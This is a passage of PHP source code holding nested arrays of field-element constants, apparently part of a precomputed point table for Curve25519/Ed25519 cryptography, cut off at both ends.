15915852, 7512774, 10017326, -17749093, -9920357),
            ),
            array(
                array(-17036878, 13921892, 10945806, -6033431, 27105052,
-16084379, -28926210, 15006023, 3284568, -6276540),
                array(23599295, -8306047, -11193664, -7687416, 13236774,
10506355, 7464579, 9656445, 13059162, 10374397),
                array(7798556, 16710257, 3033922, 2874086, 28997861,
2835604, 32406664, -3839045, -641708, -101325),
            ),
            array(
                array(10861363, 11473154, 27284546, 1981175, -30064349,
12577861, 32867885, 14515107, -15438304, 10819380),
                array(4708026, 6336745, 20377586, 9066809, -11272109,
6594696, -25653668, 12483688, -12668491, 5581306),
                array(19563160, 16186464, -29386857, 4097519, 10237984,
-4348115, 28542350, 13850243, -23678021, -15815942),
            ),
            array(
                array(-15371964, -12862754, 32573250, 4720197, -26436522,
5875511, -19188627, -15224819, -9818940, -12085777),
                array(-8549212, 109983, 15149363, 2178705, 22900618,
4543417, 3044240, -15689887, 1762328, 14866737),
                array(-18199695, -15951423, -10473290, 1707278, -17185920,
3916101, -28236412, 3959421, 27914454, 4383652),
            ),
            array(
                array(5153746, 9909285, 1723747, -2777874, 30523605,
5516873, 19480852, 5230134, -23952439, -15175766),
                array(-30269007, -3463509, 7665486, 10083793, 28475525,
1649722, 20654025, 16520125, 30598449, 7715701),
                array(28881845, 14381568, 9657904, 3680757, -20181635,
7843316, -31400660, 1370708, 29794553, -1409300),
            ),
            array(
                array(14499471, -2729599, -33191113, -4254652, 28494862,
14271267, 30290735, 10876454, -33154098, 2381726),
                array(-7195431, -2655363, -14730155, 462251, -27724326,
3941372, -6236617, 3696005, -32300832, 15351955),
                array(27431194, 8222322, 16448760, -3907995, -18707002,
11938355, -32961401, -2970515, 29551813, 10109425),
            ),
        ),
        array(
            array(
                array(-13657040, -13155431, -31283750, 11777098, 21447386,
6519384, -2378284, -1627556, 10092783, -4764171),
                array(27939166, 14210322, 4677035, 16277044, -22964462,
-12398139, -32508754, 12005538, -17810127, 12803510),
                array(17228999, -15661624, -1233527, 300140, -1224870,
-11714777, 30364213, -9038194, 18016357, 4397660),
            ),
            array(
                array(-10958843, -7690207, 4776341, -14954238, 27850028,
-15602212, -26619106, 14544525, -17477504, 982639),
                array(29253598, 15796703, -2863982, -9908884, 10057023,
3163536, 7332899, -4120128, -21047696, 9934963),
                array(5793303, 16271923, -24131614, -10116404, 29188560,
1206517, -14747930, 4559895, -30123922, -10897950),
            ),
            array(
                array(-27643952, -11493006, 16282657, -11036493, 28414021,
-15012264, 24191034, 4541697, -13338309, 5500568),
                array(12650548, -1497113, 9052871, 11355358, -17680037,
-8400164, -17430592, 12264343, 10874051, 13524335),
                array(25556948, -3045990, 714651, 2510400, 23394682,
-10415330, 33119038, 5080568, -22528059, 5376628),
            ),
            array(
                array(-26088264, -4011052, -17013699, -3537628, -6726793,
1920897, -22321305, -9447443, 4535768, 1569007),
                array(-2255422, 14606630, -21692440, -8039818, 28430649,
8775819, -30494562, 3044290, 31848280, 12543772),
                array(-22028579, 2943893, -31857513, 6777306, 13784462,
-4292203, -27377195, -2062731, 7718482, 14474653),
            ),
            array(
                array(2385315, 2454213, -22631320, 46603, -4437935,
-15680415, 656965, -7236665, 24316168, -5253567),
                array(13741529, 10911568, -33233417, -8603737, -20177830,
-1033297, 33040651, -13424532, -20729456, 8321686),
                array(21060490, -2212744, 15712757, -4336099, 1639040,
10656336, 23845965, -11874838, -9984458, 608372),
            ),
            array(
                array(-13672732, -15087586, -10889693, -7557059, -6036909,
11305547, 1123968, -6780577, 27229399, 23887),
                array(-23244140, -294205, -11744728, 14712571, -29465699,
-2029617, 12797024, -6440308, -1633405, 16678954),
                array(-29500620, 4770662, -16054387, 14001338, 7830047,
9564805, -1508144, -4795045, -17169265, 4904953),
            ),
            array(
                array(24059557, 14617003, 19037157, -15039908, 19766093,
-14906429, 5169211, 16191880, 2128236, -4326833),
                array(-16981152, 4124966, -8540610, -10653797, 30336522,
-14105247, -29806336, 916033, -6882542, -2986532),
                array(-22630907, 12419372, -7134229, -7473371, -16478904,
16739175, 285431, 2763829, 15736322, 4143876),
            ),
            array(
                array(2379352, 11839345, -4110402, -5988665, 11274298,
794957, 212801, -14594663, 23527084, -16458268),
                array(33431127, -11130478, -17838966, -15626900, 8909499,
8376530, -32625340, 4087881, -15188911, -14416214),
                array(1767683, 7197987, -13205226, -2022635, -13091350,
448826, 5799055, 4357868, -4774191, -16323038),
            ),
        ),
        array(
            array(
                array(6721966, 13833823, -23523388, -1551314, 26354293,
-11863321, 23365147, -3949732, 7390890, 2759800),
                array(4409041, 2052381, 23373853, 10530217, 7676779,
-12885954, 21302353, -4264057, 1244380, -12919645),
                array(-4421239, 7169619, 4982368, -2957590, 30256825,
-2777540, 14086413, 9208236, 15886429, 16489664),
            ),
            array(
                array(1996075, 10375649, 14346367, 13311202, -6874135,
-16438411, -13693198, 398369, -30606455, -712933),
                array(-25307465, 9795880, -2777414, 14878809, -33531835,
14780363, 13348553, 12076947, -30836462, 5113182),
                array(-17770784, 11797796, 31950843, 13929123, -25888302,
12288344, -30341101, -7336386, 13847711, 5387222),
            ),
            array(
                array(-18582163, -3416217, 17824843, -2340966, 22744343,
-10442611, 8763061, 3617786, -19600662, 10370991),
                array(20246567, -14369378, 22358229, -543712, 18507283,
-10413996, 14554437, -8746092, 32232924, 16763880),
                array(9648505, 10094563, 26416693, 14745928, -30374318,
-6472621, 11094161, 15689506, 3140038, -16510092),
            ),
            array(
                array(-16160072, 5472695, 31895588, 4744994, 8823515,
10365685, -27224800, 9448613, -28774454, 366295),
                array(19153450, 11523972, -11096490, -6503142, -24647631,
5420647, 28344573, 8041113, 719605, 11671788),
                array(8678025, 2694440, -6808014, 2517372, 4964326,
11152271, -15432916, -15266516, 27000813, -10195553),
            ),
            array(
                array(-15157904, 7134312, 8639287, -2814877, -7235688,
10421742, 564065, 5336097, 6750977, -14521026),
                array(11836410, -3979488, 26297894, 16080799, 23455045,
15735944, 1695823, -8819122, 8169720, 16220347),
                array(-18115838, 8653647, 17578566, -6092619, -8025777,
-16012763, -11144307, -2627664, -5990708, -14166033),
            ),
            array(
                array(-23308498, -10968312, 15213228, -10081214, -30853605,
-11050004, 27884329, 2847284, 2655861, 1738395),
                array(-27537433, -14253021, -25336301, -8002780, -9370762,
8129821, 21651608, -3239336, -19087449, -11005278),
                array(1533110, 3437855, 23735889, 459276, 29970501,
11335377, 26030092, 5821408, 10478196, 8544890),
            ),
            array(
                array(32173121, -16129311, 24896207, 3921497, 22579056,
-3410854, 19270449, 12217473, 17789017, -3395995),
                array(-30552961, -2228401, -15578829, -10147201, 13243889,
517024, 15479401, -3853233, 30460520, 1052596),
                array(-11614875, 13323618, 32618793, 8175907, -15230173,
12596687, 27491595, -4612359, 3179268, -9478891),
            ),
            array(
                array(31947069, -14366651, -4640583, -15339921, -15125977,
-6039709, -14756777, -16411740, 19072640, -9511060),
                array(11685058, 11822410, 3158003, -13952594, 33402194,
-4165066, 5977896, -5215017, 473099, 5040608),
                array(-20290863, 8198642, -27410132, 11602123, 1290375,
-2799760, 28326862, 1721092, -19558642, -3131606),
            ),
        ),
        array(
            array(
                array(7881532, 10687937, 7578723, 7738378, -18951012,
-2553952, 21820786, 8076149, -27868496, 11538389),
                array(-19935666, 3899861, 18283497, -6801568, -15728660,
-11249211, 8754525, 7446702, -5676054, 5797016),
                array(-11295600, -3793569, -15782110, -7964573, 12708869,
-8456199, 2014099, -9050574, -2369172, -5877341),
            ),
            array(
                array(-22472376, -11568741, -27682020, 1146375, 18956691,
16640559, 1192730, -3714199, 15123619, 10811505),
                array(14352098, -3419715, -18942044, 10822655, 32750596,
4699007, -70363, 15776356, -28886779, -11974553),
                array(-28241164, -8072475, -4978962, -5315317, 29416931,
1847569, -20654173, -16484855, 4714547, -9600655),
            ),
            array(
                array(15200332, 8368572, 19679101, 15970074, -31872674,
1959451, 24611599, -4543832, -11745876, 12340220),
                array(12876937, -10480056, 33134381, 6590940, -6307776,
14872440, 9613953, 8241152, 15370987, 9608631),
                array(-4143277, -12014408, 8446281, -391603, 4407738,
13629032, -7724868, 15866074, -28210621, -8814099),
            ),
            array(
                array(26660628, -15677655, 8393734, 358047, -7401291,
992988, -23904233, 858697, 20571223, 8420556),
                array(14620715, 13067227, -15447274, 8264467, 14106269,
15080814, 33531827, 12516406, -21574435, -12476749),
                array(236881, 10476226, 57258, -14677024, 6472998, 2466984,
17258519, 7256740, 8791136, 15069930),
            ),
            array(
                array(1276410, -9371918, 22949635, -16322807, -23493039,
-5702186, 14711875, 4874229, -30663140, -2331391),
                array(5855666, 4990204, -13711848, 7294284, -7804282,
1924647, -1423175, -7912378, -33069337, 9234253),
                array(20590503, -9018988, 31529744, -7352666, -2706834,
10650548, 31559055, -11609587, 18979186, 13396066),
            ),
            array(
                array(24474287, 4968103, 22267082, 4407354, 24063882,
-8325180, -18816887, 13594782, 33514650, 7021958),
                array(-11566906, -6565505, -21365085, 15928892, -26158305,
4315421, -25948728, -3916677, -21480480, 12868082),
                array(-28635013, 13504661, 19988037, -2132761, 21078225,
6443208, -21446107, 2244500, -12455797, -8089383),
            ),
            array(
                array(-30595528, 13793479, -5852820, 319136, -25723172,
-6263899, 33086546, 8957937, -15233648, 5540521),
                array(-11630176, -11503902, -8119500, -7643073, 2620056,
1022908, -23710744, -1568984, -16128528, -14962807),
                array(23152971, 775386, 27395463, 14006635, -9701118,
4649512, 1689819, 892185, -11513277, -15205948),
            ),
            array(
                array(9770129, 9586738, 26496094, 4324120, 1556511,
-3550024, 27453819, 4763127, -19179614, 5867134),
                array(-32765025, 1927590, 31726409, -4753295, 23962434,
-16019500, 27846559, 5931263, -29749703, -16108455),
                array(27461885, -2977536, 22380810, 1815854, -23033753,
-3031938, 7283490, -15148073, -19526700, 7734629),
            ),
        ),
        array(
            array(
                array(-8010264, -9590817, -11120403, 6196038, 29344158,
-13430885, 7585295, -3176626, 18549497, 15302069),
                array(-32658337, -6171222, -7672793, -11051681, 6258878,
13504381, 10458790, -6418461, -8872242, 8424746),
                array(24687205, 8613276, -30667046, -3233545, 1863892,
-1830544, 19206234, 7134917, -11284482, -828919),
            ),
            array(
                array(11334899, -9218022, 8025293, 12707519, 17523892,
-10476071, 10243738, -14685461, -5066034, 16498837),
                array(8911542, 6887158, -9584260, -6958590, 11145641,
-9543680, 17303925, -14124238, 6536641, 10543906),
                array(-28946384, 15479763, -17466835, 568876, -1497683,
11223454, -2669190, -16625574, -27235709, 8876771),
            ),
            array(
                array(-25742899, -12566864, -15649966, -846607, -33026686,
-796288, -33481822, 15824474, -604426, -9039817),
                array(10330056, 70051, 7957388, -9002667, 9764902,
15609756, 27698697, -4890037, 1657394, 3084098),
                array(10477963, -7470260, 12119566, -13250805, 29016247,
-5365589, 31280319, 14396151, -30233575, 15272409),
            ),
            array(
                array(-12288309, 3169463, 28813183, 16658753, 25116432,
-5630466, -25173957, -12636138, -25014757, 1950504),
                array(-26180358, 9489187, 11053416, -14746161, -31053720,
5825630, -8384306, -8767532, 15341279, 8373727),
                array(28685821, 7759505, -14378516, -12002860, -31971820,
4079242, 298136, -10232602, -2878207, 15190420),
            ),
            array(
                array(-32932876, 13806336, -14337485, -15794431, -24004620,
10940928, 8669718, 2742393, -26033313, -6875003),
                array(-1580388, -11729417, -25979658, -11445023, -17411874,
-10912854, 9291594, -16247779, -12154742, 6048605),
                array(-30305315, 14843444, 1539301, 11864366, 20201677,
1900163, 13934231, 5128323, 11213262, 9168384),
            ),
            array(
                array(-26280513, 11007847, 19408960, -940758, -18592965,
-4328580, -5088060, -11105150, 20470157, -16398701),
                array(-23136053, 9282192, 14855179, -15390078, -7362815,
-14408560, -22783952, 14461608, 14042978, 5230683),
                array(29969567, -2741594, -16711867, -8552442, 9175486,
-2468974, 21556951, 3506042, -5933891, -12449708),
            ),
            array(
                array(-3144746, 8744661, 19704003, 4581278, -20430686,
6830683, -21284170, 8971513, -28539189, 15326563),
                array(-19464629, 10110288, -17262528, -3503892, -23500387,
1355669, -15523050, 15300988, -20514118, 9168260),
                array(-5353335, 4488613, -23803248, 16314347, 7780487,
-15638939, -28948358, 9601605, 33087103, -9011387),
            ),
            array(
                array(-19443170, -15512900, -20797